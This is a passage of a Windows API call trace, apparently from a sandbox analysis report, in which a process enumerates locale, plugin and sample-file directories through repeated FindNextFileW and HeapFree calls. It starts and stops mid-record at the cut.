dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.058] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.058] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.058] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.059] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.059] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0190.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.059] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0190.059] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0190.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.059] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0190.059] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0190.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.060] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.060] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0190.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0190.062] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1 [0190.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.064] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sample Files", cAlternateFileName="SAMPLE~1")) returned 0 [0190.064] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0190.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.064] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0190.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.065] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.066] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.066] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.066] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.066] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.067] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.067] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.068] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.068] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.068] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.068] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, 